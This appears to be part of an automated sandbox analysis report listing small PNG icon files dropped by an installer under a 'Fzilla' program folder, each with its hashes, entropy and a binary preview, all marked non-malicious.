SHA1:	BB3CF2C9C7AA96AA73304C18C4B9FD6BE37A62AB
SHA-256:	DD0C339CA4DB44CC41EEC349950A68F994FBB7D15C51CFE5F2BD6A61437F3BFC
SHA-512:	31A5189072AA84BA288D06AC8F522A8033253BF79F4C460109688C848F18063F049FCD07EA0721F36B8E350CDFDA3005136BDE7CF952552F5CFE9E17173F8223
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....UIDATx..V.t.X......).R.^....h..<$..Q..m.6{.&...Y+.g....T.E`.D.#.zE.x..L.^[x.B..Y.....7.BV....AE<......... ..Y2.r.a(...+..A...[.!+.`d...$..:.y....k.}W.._!.Mmi98.[.............<..y....p.!......W.X`).E5.C. .g...0>.5=...8.....F+.l............p......Jn..s.\.).+.0.@p^.......R~o.x...^.vt..g...g.6..X4g...s=R...l..{.@..~..J..P...)/)...6....MB.u....1....2..8D....-0......at#.F6..W.bp.h.......@.;u/......`..PZ.,...QU0w.$.ph.zd.X.7.al3........\|./.F7. m..%...4....0\....{.<.....v.Vr5.....'....nD...4.==..t..C.N.T.O.c.....-k.4...1.u..<\...}k.3....j.)..9..7B....3i.....`-..&..%.T.1~.=URZ. n.tl.7..zm..n.....@............O....m.G,.....A.....IW>...BR.s....=.N.......B.'.q........].... ..4.c.......:.\|...\A..d...?...N...u..)..E....h....t"...h.e.b....../...N3.PZ\...L...mS....@......h.e...5.....a....K."..u.Q..K.>..I...`.qq9...e.g1..?....^y.9.E.\|..H.....Ozh......v....R...u..A7?o,..F}.z..K... ..T=.....-.F.3.....dK+A)`.eeB..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-1MOLP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.751035261431217
Encrypted:	false
SSDEEP:	24:xdC5goZhI1MlSSsepVMRbsBvU/KhWl0qjKd3oO5pAaUD7rlm4dessgQq:VoZiMTsbsB8ShWWeepZUDHFdeER
MD5:	F7B283632AA3E62BDAD4C1B435F93F26
SHA1:	A4D9BF01339096CC5A105D3D90DCB6528704D833
SHA-256:	F52C6A7A9F0E0985ACA052C7B24809050C389C9DBE1340A604EB003E8AFA8856
SHA-512:	D30EA364A0562C233FF26B1DF4C13702B573642F6132640BD8DDB27F122249DA76B966A5A752425FA1EA5385AD5ADCB715D2222725166037C15F5C5B061243CF
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz...._IDATx..V.7G../..<..F.m.m.m.~....vj............".K........ //...g.4...rw......8mxyy.......................`kk....[VVBKK....Bsss455A..#...G.........o....pp........Vi~~.:;;.........aa!...........F..k.t....x...==....;7.sp]]...t.ts...........XWWG...%b...Y.,......o........@EE....Bff&RmmM...j....8.es..ijj,9...[PII..[[.R.X.................x.9.........) .....w55UC...u....8..">5..h?...UV.s...\....411N..e..wtt...\|--.'A.bPP.54.s....PHH..FFF/..nmmY......G:..**Jw:8..^RR.B.s..8??....v@.dRR.W##.....)jii........lmEE...]]..sr.....n.............>...../....N(....2.....!...>..5`mm% ...p............p.......{2.../EEEp.677.R1...m...}.2...QI..$C\|A..@.n.....p...AB.....l...X....whh...VbJ.B..jKP.k....%Z\\....E.....?XX.....$_..$...}F..e_QQ.(.@.....I....#k..!H77.211....-##s.`u..G.....gff......l.........C@..Hee.yV.VV....?........Z..G'.a..n.A~....(....5b.....Y..1..33.....@..:....K...Naa>.@UU%..........VUU~.A..r?..1....@FF:...I.$...Rx~;((

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-2U6BG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.835880693565033
Encrypted:	false
SSDEEP:	24:K7h1EXrzSPLvQZhAemVTKjn7qGqOLkuW/mj7fYvAhbKmMccw2zwy8JSeTW/t2WN:nXrePbQHAeiO2GLLzW/mj7fT4Fc2zn8o
MD5:	C2DA077B823D446D6AB5F3AA63BB427F
SHA1:	ED9511230B40FC02E97EFF115AF5C9878025FBF5
SHA-256:	84C53D562B5D1220C722EB128F2CFD6D861114188851E8BA76E8B3811AB6A35B
SHA-512:	830DE8BDE454D479B96E2F574F545A8E7A08F44F5A5C1FE5FB8EC7CA435720359B0FEB94E5F49A7DBDCE96A9D32877FAB12EBA80228194A570091BF78FED3D2F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....6IDATx..cxc{...k[...k#....F..O..L..V..m..-.......<......fN...C..I...__.7.x...T... <<.$}l.$.x'##.. .....xJ ..=..\]]..j...d...\|\|\|N....O......Q\|..h....n..........)..q1a........N...L..."22......B!BBB...a4....\|...(........UUU...DYY.......?."...PQQ..OKK;..y..........={.,....?...?svv......E6.........6??.6R....Y.<$..........Qkv>...fN.q#.>f=..;.//.3..[.F.'..c. .Y.r..Ed}.........(R...l..2...S7B....&R....2c.c.......9...C...\.V.~..U\|...:Di..R..p.\|dY&.?..$1..Pa........B:h.......].E.Y..X....o9...7.`.<D....Z._.0.%.J{Gh........k..,.PC....0y...\...9.%;.`....iM....?&U....r.(7....v...E.I.GcJG..0...../...:... .b44.S.i......1:..S.. .......Mi..fj>.[:.!.C1@......).3..'....VD..@B.8....<........)rK...U.....c...../....P......f6....r.Z.p.U...O.a.(....\?.#..@.e..c.n..{.=x.\|......LB.%.X.3.......y.h....?./...9)......MaX.Qu.`.<L]....<.;J.{.A..d.;{.l.Pp7\|.7Q.`C...8C...."....."..gj&/.M....MX.?...'..<.{.\..=.~..w.{O.......

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-3HE74.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	188
Entropy (8bit):	6.307189258039723
Encrypted:	false
SSDEEP:	3:yionv//thPl37gxIWkVaXkEvZaSumMjlQGasFrWM9pg6JbKja4tlsyeeB1p:6v/lhPa1kVaxvkSxMj/nFrWM9VVKjaUR
MD5:	08295D744D44989A68AC6398CAD3328D
SHA1:	1D5A794A8BCE1C5BE0CA2B3514E2F0D439AEBAE6
SHA-256:	52233AA5BCE166B569A5E95B29F8915441289EEFEC50607BFD24BEDE7618523D
SHA-512:	17916CB6ECC9337BC6ABD2DA9C756659620DC23E6416E03717C7665373935FF0FB63FD8A7484E4CF04E79992C30A2BA60664DB82AA754794FF243407402469FE
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx.c.O!.3F..5`.Q.<..@Fb......./.1........?.................j...'...@/e.l..I..+.Z..3.......``.!........j....G.K....\|A@..C!/..(.Nc........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-66NNH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2289
Entropy (8bit):	7.890452388453586
Encrypted:	false
SSDEEP:	48:NxjPgqp06IKLfRX/Lye+nhVsoWci9Kxnhkwx/OZ4yv:Npog9XDye+nYoWx9qkwQaO
MD5:	43E500FE466F958FAE5F9FD29EABCDC3
SHA1:	72A7CCC9D396F64E5096B12576F4F2F4F29BAE4B
SHA-256:	A90FBCFB8449DCF5AB69DD49A7098C07F99869BFACF289B337C7756EECD4E3F0
SHA-512:	FB6B3F79F846F60C7C42989255B9A2A4D77A37D7EC5696209874998508276053A367FCA076B570491B43809FAC2D85CC07B845C0668723B44EE8AED8BA630A15
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....t..............m.3..mO...m.....L.'....$..5]..x.zc.I..{..pOp.UW.e../.r.Q. .f.0\|.?..?../...jR./b..". 1.........#Ggm....(...YU.X.D.`.:9....7o.",......o.....-..Rn...].S...".=...U...P.^..}......s.mgg/...........?......?..k.Lj..}...s...n...-....b.kq].h...p<.....I...!.j.....k.\..y..C.....C..;.....l$......425.^ib..C...o;..7..@D....(.....q.AZ.l(...A&c..^$J.rY.q.......[5..Zl?.....~.v...0.\|.;..B...lA.........xZ.&.I'q....N...:...kfh.m,0<<...........I.;...HS.....a.u.-.R..... `X..<s.>.GL.^H.V%..D4:.. v.........h....t..I.h......B!o(.g..9a..j...+.'...:]...3.......H..(P...Qp....I,a.. .4)JR...X"..(5..&&.W].......w3.Z.....=c....?...!".iB...a.....y..x.Z'(%.H.(.k+...hi.:.r.j...'...199..iO7.....R..-..y....v.w....wR...TF.o..#..w Z0s.fN......W_.khh.###?.{.......j......,m ..@a....@Q..Y..9.....b(s.i........A(.e.e..A.....6-n=..7V..1.0..?.._....;....r'..>.k....g.Q...4.y..R..6.4......eY..$..33.t..[....^s...f..N".

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-8PTAS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1386
Entropy (8bit):	7.843106026270757
Encrypted:	false
SSDEEP:	24:vjpl1GP8BjQ8tcMylP0YE+A51NCFWJ9ybAGHVji/t4x3ZuKexOcmFouVNLuvg6HG:vjj1GP8BjQsVkS51IFoyjiexJfexFmWe
MD5:	C5E55C44BA8E4F7B653D45AEC140962A
SHA1:	3E33419D8A4955EF7CE68DB795FE7686431DB2D4
SHA-256:	6A1AC4F6C4C87DEBE4A40E62D153405A2B686BD9A79EC50CD15C5E118C04A200
SHA-512:	FA550CD0654CCB2C4DB2CA7B9DC964ADDE825937A8C382284DC7595FF864DA4DBF6CE50F77D0D3559E3160353BFEACCFF0CD71A33F92EA1E76E2E48F483BBAB4
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....1IDATx....4M.E...x>[k.m...m....w?...43.....m.....7.-f...b..)......O.^.KYD..,..=.k..P.\|.}.\|..Q.r.T.........w<..\|...r.8.Q..0.V....r.u..=.g....f;.Z........x..1..0.......{d.x.{......Y.~.3............)..N...j69Y...-...~.^..l.3...?.gW.,......).@8S.g.G....(..A.W....:3[.p..n.g.@..\|...]..)1(fV...s..8'.s$"L...C......r...-..-.....^s....`.9F@DrA.$.I..0.[....3....Z}...jZUU..d..} .......\...i..U.%..q7x.87M?.........y.K.lP..8..aj.......&..\|.........P=..]....`".Qr..$...V...%..e...y.HC.(.Fu..H2p.~.W;.l.?...&..5#.......4....W.v.._.}..l.^y..&.q'..b..\-4.k....g.\..-f.E.h{......FY8.@..a....V..}.&.t.U.~./$..Xlc.+.ns.54[.....=Q3b.h...f.U.3.KH5...uc..w.....6yz..?....k^m.....z.."..g..2..........!....."...")i.N.>..........:.I%..G..{.A...J...]...fJY..j....>.+...)C.a$...a....7$I..L...W...S.,..;tx...7.'.........z.r..!t.Y+.Nq...Rc.D..$*....,.o.n..a@M...q..k...m.0........%.\>#jw>L....}..)..."B.P..U.].b.m3..\.lLxI..f8

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-A00QI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	914
Entropy (8bit):	7.659362948134689
Encrypted:	false
SSDEEP:	24:ruk/g0NaQ0UXpXwX+jKSuWaPiCd4246xHs4K0u:Lg0NJfwOjj64KxM4K0u
MD5:	6B0D048126E4DBE97BC6A80BE67ABD00
SHA1:	185F7C09C6FE96A4A13D2E0B635249FA1D3B97F3
SHA-256:	18280E6B773663D224D83F90749BE9A6E7B31D697C9C64EC24140A1A5CA5706F
SHA-512:	09094482663063FA0D9670C037D8280356151E4CFEE7182D2C6BF6C2A17BAAF8205620BB71109EDAAB51A639B2168EB30C0937227EA84D2ABCF05548A5801CE8
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....YIDATx....dI...u..Zo{m.m..6...ym.c.Skl.........$.\U...{..K........>...%...[....].n.>... ?.Y.....`J...oQe.9.......:P.\...RD....^.C+Y...M.;...;.Py.......d. .;.=.J..f.n..YN4..+.U..L.-=.R...{....a.....7..v.............8n.6.d^......nD6...~...3!..F5....(\|......f...#n.^..xq.R.>.N.....c....2.]..l....v......dfc.U..7..E.....y..E...5...w..C.s.?....4o..x..&$\|.V\.H..+-..p.p..L.._...HD..'.oaS.S..4T^0.4<.....QE$..Nm~py\.. ....yc./..U.....$*...Q.,..(...0LX..C.V.h...'$...}f.I...t.C~TEv!.:...B.vp@.(....m..;}dP.._N\|.........?G.:...V....]...P.T.s....Q.Z..?.-v.e.V/F...~<{\|p8.5......."......E.h...!.H.Hb.!`Sf......D..f...H.;....E. ...^o.\|...y....v].oEmHH.[.../t..0.>.R:..M...m....-..C...l.Q..kR..4.E..........y\|ci]M.J..7O...YR.......f..`.....jn.\|&E.M...-.\.\|b..n... `S.R.c..L......a.j.Ex~sR...6.\|..L..C'...l.Y...I..?./z.Rs...3.../v=.A........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-A2IHO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1293
Entropy (8bit):	7.810661832642768
Encrypted:	false
SSDEEP:	24:XbKbDTXsjW0P0rfmhqtqXVPT906ts3Kxoln37ZRbq:X0nXWWa0DUVpC3KxozRbq
MD5:	C48D1C49C7A6D89ABD08C8F7A9F78E1C
SHA1:	4316A3CC1501866C9CBDC2D6CB00F546DDDD004A
SHA-256:	1D2FB812EF1899E9BEE80BA138E818EDA6EB75E48CFE25E1262010779E4EB885
SHA-512:	4089BF099D060EF82C24F001AB97110C9B623AE5768A39B262DB4C73FAA3C6AEF1421D638ED0B914788C5C7AC6FB619974FD39071A172E1C48AF31B4C9416ED9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...s.H..}LC..w..13.A.a..s..n.....2...333..e...R.:Ug..\|b.....g....8..AT.~qb.(!f.....]{..f!..\|...b.Z.wn.:RV.u...6.... f.&..Ld.G....}...........s...[.63........c}-.+..Xm5..j`.Z."J....v#..6d...x.;,hQ....+.....6.`bz...Q....~....?6..3D.`...W\|.-.i. ...IR<..1.ev....nk._T.a.7.]P.."(C..>.."J.=ME....>v..\..%..`sXF.`....j<."...{......e.4.`SN..V.o4BIc=T.......^...\|...\|.C.p...o....g..x.5.yd.!.J.......^Z.....D......8z...&..c....>........D...K.\|.C&.).7......^F;......y.c.z...=..SxY9...H.))..y....1K.`I.......$.`...q.....J..p.F.JQ..R..]...D.Apj.U.....4/H.F....U^\|j......H......3..M&...v....\|....xm.....\.LH..`....,Zl....Xf..X................\..}...d.q2.2..:..Wg..*..2.EX.9d.&...":3.8.X...w.-u...ju...f...D...{....XC.'...Cv.-...\|.,.?......f.4..g-.`....:....{....EQK\|>.....[.Sx...I...4...t.\D.>k..S......B....ld....N.....d4.qp...s#R..`...}u?.@./P`....@#..FwY....a`..vW.owf...B....;B.....}......C...(MX..n.c.+##...;...

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-AKKQA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	334
Entropy (8bit):	6.917558448131977
Encrypted:	false
SSDEEP:	6:6v/lhPkQvKNR08Os/dvwBpDWy+g7/hHA8GgKI2a1dtFiklTMh37Trlbp:6v/7seU2Ttf7/hCgKStIkeh3vrl1
MD5:	5A9DACDC3B1A421121F7FF5588C1D093
SHA1:	131063A64C7CB3CC79D4CAC2DD78B0EEEA9BEFF2
SHA-256:	5F859219D5749258CB921C266BDE4A25825BA3EE36A7606C9904695CDBAF4990
SHA-512:	50083D9DBB7CD16B4CF39CD8A513957712E1909724BA56F29DD3539AC4F61267DFA5CE44C0A8FD0D9F6B642DB823AB7A3B3A611EDB58228AD3116CD075E6189B
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......~PLTE...;H..6.We.\j.Zh.Vd.6F.5F.AN.5F.6F.v..KW.Yg.]i.=J.DR.Vd.x..<I.~..kv.Wd....O\.BO.Ve.Wd.Xe.We.@M.Xf.6E.5F.BO.AM.?K.GU.M[.Xg.7G.F.]-....tRNS.@..f...~IDATx^..7..0....;..^..A;B.L......>p../l./....}u...1.......Lg....>.s0....&.....j`.....5p............@".f..K......M.\|!...4.u.)...v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-CL8CP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	334
Entropy (8bit):	6.917558448131977
Encrypted:	false
SSDEEP:	6:6v/lhPkQvKNR08Os/dvwBpDWy+g7/hHA8GgKI2a1dtFiklTMh37Trlbp:6v/7seU2Ttf7/hCgKStIkeh3vrl1
MD5:	5A9DACDC3B1A421121F7FF5588C1D093
SHA1:	131063A64C7CB3CC79D4CAC2DD78B0EEEA9BEFF2
SHA-256:	5F859219D5749258CB921C266BDE4A25825BA3EE36A7606C9904695CDBAF4990
SHA-512:	50083D9DBB7CD16B4CF39CD8A513957712E1909724BA56F29DD3539AC4F61267DFA5CE44C0A8FD0D9F6B642DB823AB7A3B3A611EDB58228AD3116CD075E6189B
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......~PLTE...;H..6.We.\j.Zh.Vd.6F.5F.AN.5F.6F.v..KW.Yg.]i.=J.DR.Vd.x..<I.~..kv.Wd....O\.BO.Ve.Wd.Xe.We.@M.Xf.6E.5F.BO.AM.?K.GU.M[.Xg.7G.F.]-....tRNS.@..f...~IDATx^..7..0....;..^..A;B.L......>p../l./....}u...1.......Lg....>.s0....&.....j`.....5p............@".f..K......M.\|!...4.u.)...v....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-DT330.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	7.785480870316043
Encrypted:	false
SSDEEP:	24:uOCcm3Cw6IrJTR1PONqnugvYFFI/39yqWJJjqfSrDwTqM8Sxw+DDz:uvPr1POdgue/s9/efSHpkDz
MD5:	7BD1094596464BC3091D9AA2E171D530
SHA1:	E826ED0D672FA9761B84E09AEA1A8E7AC3AF8F76
SHA-256:	213CD61636652F4F97CC5E40DE29852F56804B4D952163DF22153F79FEA6ABFB
SHA-512:	E44BEE97C972EA4F2782546E8A61027CEC474DFEC11391950793D66424E92BEBD1544A4EB34E40105A5578B55B0B97270913250C07A39D4B5038E26E923B2490
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....IDATx.....X..s....m{..k...4.m.m.F.K...v.....w.?t.8....L=..w..8.z.]~..N.t.h...n..i,.N....?~.'.D...S.I.'z.....M8......1..v4.R.w..,.....t..b.."nE.z.}.gM%+....\|.m^O.^.....B.X.&.....g~.@G..O}...t?..D`..Bq....D3..Y....].y(..n..G....z.......A....h..n...[;b.pDLw.}...+......?%/lvo.i+v._....<...D"jZe.O.#qY9$/..D".W"..@q....'.}.g..P......U...^..%..o..0...o...].H.U........7.E.d....E..p...k.CxA3.....~X.&O.>\..[}....qS......0hG.2.5#.,\|F...Q,.e....zD.)..U....&..T........w.g?..)..q.5W."tr).N.UWA...........>..a...y.M7 f^i$--...U.....G..b.r.MEl]-..{%....>.zg..g.R.y.#....?.d.e......f...@.PEdm...e......].!.....T.. q\|..{w...9..s........O.=.s.q.D."g.@..rj..M..7....n.)...T.../.F..P+...R..x<.@"..;...>.3x...~$.a..D.,..UF....X..d..w..S..qo..w.5.4.~..2...Ee.4Y..Z..0%......N]Q.]../.VvK.l.S}.z..p"...LEBj..J.r..P..=.4.g......x.."f.@... .}..LW.jO...6..3....h..2W.WTU.mM%$...%0.sJ#..^.Tw.+dRV.*....lo.I70.1.%...o..L....37TQ.M..w.B...-..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-E8DJG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.770860048666669
Encrypted:	false
SSDEEP:	24:w6RpdrBG6QJlY4hYLtk/RkKdmieus6+L9nyUJhqaN17lx:TybDY4KL2/3sdL9PJhz17/
MD5:	9685762A4B5F435224BD488843F715D7
SHA1:	F4BCF672788E490038CFDED2E5C3E068E59C82F1
SHA-256:	B79FA30E18264EBB5B1CBE23252342C5123E91D3A13E4D66323A40E6B8CBAD4C
SHA-512:	76EE15BDAAC572CEE1391A1228110CED8ED2149EF53B2DCE0AE614E248B3D0397D8EE0E2421E6A6A7F9C14953D1A58B36A901045E6C592FC41A5633F27953075
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..uG.=..>5.m.A.6.m.v..m.......Am.u...{..L..L.P.'ww.v.3..13.......}p.5...e..G0>.?j...;...w.p.5.].l..].,.4.?.O>....k...`....\|....x...;f...d.m.[......\|..fLi..j..)..X.h.Y....p..... ....s.....&lX.y..X.W....~.ky....%...g.B.b5...fsdhl..N.........w.f.".6P..#....iK<......m{.....%TQ..3......C..(F_B1.....j9v.r.$..k/.".....V~K..r....h.....P......D.(..^}............`q}"....4...BY........rT`...^...HJ.P9.Fv...&,....$...4.B.H..h5G....!. ..1.!3.`...T....J...t.[.........0..E.h@S...0....ss...r0K..}..).F.Q.D.L.#h2....8.&..b."[..b.x...9..k.U..E(.Uc.%..}...m.8FQA2.$\|.......P......0.N..M.([cID"..P3H.....+.F......".......#...I.4.l1s........%..B......$.%I.......X..k...E2.D...b..#7.^...,L\#eY..l..Z..ug.n(H.JA.r.>..k......h.J..T.4n.......0n.T..8!...9@...]..Y^A..s...N.......\1.a.r.G.y#.)*(.........Y.P..X$..M......`m.R..Ui{..\|.....5.xO...&..B.Y......A.f..'..;.jh....~f....H..uuz.}w4G.rFX.....h.O...P?E....O....(..J.b.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-GB0HK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	7.770468566040055
Encrypted:	false
SSDEEP:	24:7B9iwQ1FU/LSOmHr/3q/rWvcqz77AYrXd30q5TsFRKCHghWlSv08i6tB:7HiALDIrAccqzoYtWfKCHgha6p9b
MD5:	6E77EA3192EA5B94D370F8F842B192F1
SHA1:	2F6A284504382A063328D6CB91602DF1A70BCE83
SHA-256:	E581D22A48751C063B1A91A2587A5E785CF1BEA2379D0EA55CB337560991E65E
SHA-512:	7AC74CFC4A102F8B7554670D452787F959F8EEB136F9BBA5845BE0675239C9642F2BE8352D9AAC0B1E6A5458C7BD143D250710303C1A867FD0835973E85AED63
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....}IDATx..W.tdY.]....c.8il....l.m.3.m.m..L.....Qc....Uu...#../]...V.\9m.....7.988.....c.X.b...,\.....?..h...@..f.\....c...t..m .U.@. J..../..".;v4..(z{.M.@...x...x.........V!.....C..s!78.xj.....r.}'3U.?....G.;.IF$.d2.A.oX......>.p..M{[..B"].l..<#R..]..e...B.G<..[.z;.~.H..a..............^OT......Y.O...?J...%....{...w.)..;..Q........@.......F..3..BE.)K...}....-...^..J.E.a.!^...#M.Re.C.U;v.lAaB..f..:.p8..D5p.%D2..' B.GpV.<.H...L...Y.KG3T79I..XI...W.U.Y.!j6.''.z.f.d..L../ R..C.....L...."..j..u>Ow.H\.!Q...).w$QU....U.x..v?.I......L..+.:.2....F..E......OV<..eYN.7%....../....2F.....qE.....Ng.."..0^.+.by.6l.p"$$._...B.v<.)\|"D%?.....n....^d`b...G.e(.!9...;v...!......m..80..[nW.....!.bT..4.S....4...?.au.....mc...!.....n.{3.^..+\X..#...N..q..(.....G.C.F.+.......'L....2aD.....m#.X(..../R\..#.....2.=.rpv.....ol`f....q..E.=.....=.`..~.4..".:..R9.hJW.Y....=.m...fv3.2e....8w..N.Rb.....ek.IFM.0qt..c<F.D......f..#G..

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-JOCPA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	7.772586391230063
Encrypted:	false
SSDEEP:	24:otTLKQ+PluSLGS72609fDaVjG+3LCx2EbTVb49uoQ1GTaE18nPF/ckS4r1:YLmPlK+/0NaU+3+5tWuokGTN8N/S2
MD5:	6938C0E57B9071E48BB810C6C83A0D30
SHA1:	81AFD857DC6C727575488EAC050118EA314B43B2
SHA-256:	239BF86478618992BC7739898C69E792632EA2B103245468D87A1E1667AF4FEC
SHA-512:	53E43CF610F8A9B07743529932B6CDBF74D6BB939559B375B6A7F92827610C4E972AD08A1BA3A21DB45E6D3D1AD4C4A04D64FE047BD17632229F960E5D0A2826
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....`IDATx..S.$I........6.m.{.Qf..]m..1.g.~...\{...n...+.....~.[.l.~.7@.........Q.....E..@'.D..ht..#hM.X.}......N..@p5.`.O..,.. .g.._."T.>...,.....EEE ..=."??..9...abb._\\...xK..W..:....+.+_. .BD.@.n.B..<.-......FFF$t%--.MA.(....)..b....{.V..z.......j...9...`ii9...eTLL...........TN...c,.@..\|.w..n..o..u.5...mgp...M..."^.??..\..cf"S.}...<.k?.8...gq.....g.P........]..+W.`. .Zo....Kdff....i........J~..\.aMo5[.Z...w..h#X..Q............} ./(@A.Z{....Q...5..P....Y.P.1.59K..H0......q.7..R..W.............>....>...H.........z.~..`.QQQ1...t.L&..T..\.jhh....9U..N..F.A..0..Q1`...1....8.......D.......Y.......*.....H=O.l.oG....@............p.?..;+.......n..!..A&6.....q....8q..8...E".tJ/....SSS.LMMA"......8.....j.~...&.F..;8...g...1.....r.8..P...}.\.4.....U-W.[...R.......uh..~a...q..FX...^:....I\|.c......[.v.....U.Vt.]....y@...B....!....p.E....&V.0u....t3@S.G...3@...- .......x..cp^c....GlD.}.../8c.......~.....].Q']..I..j.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-KLK0D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.579296424706097
Encrypted:	false
SSDEEP:	12:6v/7i+DhV1CrWcz6EKiymSWA3tQPwmMo8HdTqTWkhHr7SbK8FpN4mLZfoS3xGp73:8lXoWcz6EKgWdaX85CzSuYnNtfoS3op7
MD5:	1B60EB7C2906BD7BE68F834065CE39C1
SHA1:	B5C79354B84E295146195F40C2BF60F2F5CFE04A
SHA-256:	09FF12506ED2DAE411E54C7FB479DA7F5B06177D30C79B2CEDEFC9652EE7B638
SHA-512:	EC1604C9B1CC43CB85B38AC7B3209F862B210C28AEC93A36EF9E9AED749072FD2DA98734C1A36F1C5A0E80CB9DEA48C62F72C2894F923CD789A527346A88F557
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...S.#I...m.......T.....m.m>.......[.Z{..>.1.v..B.....4.........a....T..'.<.B...`.f.K..............MUw/Y..........6....j.........R...'.....o...U.....Q.p ...U..'....7n..M.P..I.MA......45.G...;...........xx.......j.=:....._.dP...I..U+..kn..P.g....?.7/,.'.Nk..\|..i.$:7P......((..t....HM#....@.L.7@N)@.?@..J.......J'..?G.RRHt....X`......?i.......-..P"...A..p5e........N\|>. .....n...}.B@.N...S."I2.bW.x.8.a.(&~.0&n.?:n./:f. 2......G.fC.x..es2,7..}....,8.gm.......?....2 ..A...D..y....fAB....u.\|..~.V....j7...=...{z..P.....>..ic.B..."..@.P,..........b9.f0....l[K=....(..O..]aSe.z...!Z.....;...Rl.kRM.U..5TIl.{wL.g.A...}.e8~A..?.........$.[[......JD.......p..G(~0.!......}....m..D......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\32x32\is-LBENG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1323
Entropy (8bit):	7.798057647628363
Encrypted:	false
SSDEEP:	24:HYt2VJWRlcU0cY2n0VDhGLryaLRT7BKx88K0t8k9Eqx71rq3WfkQ71nxBKBOycXa:i2VJKlSHGLrygo88kYr2BQftXE
MD5:	62BC6B0B63E417E0D51C129FCD62DAEF
SHA1:	F41536D73643769C8954E9E3225FACDF5B6425F1
SHA-256:	543FD0958DF96E06F411A6936BB8EDD840507F1485450A077EAA6A9091E54306
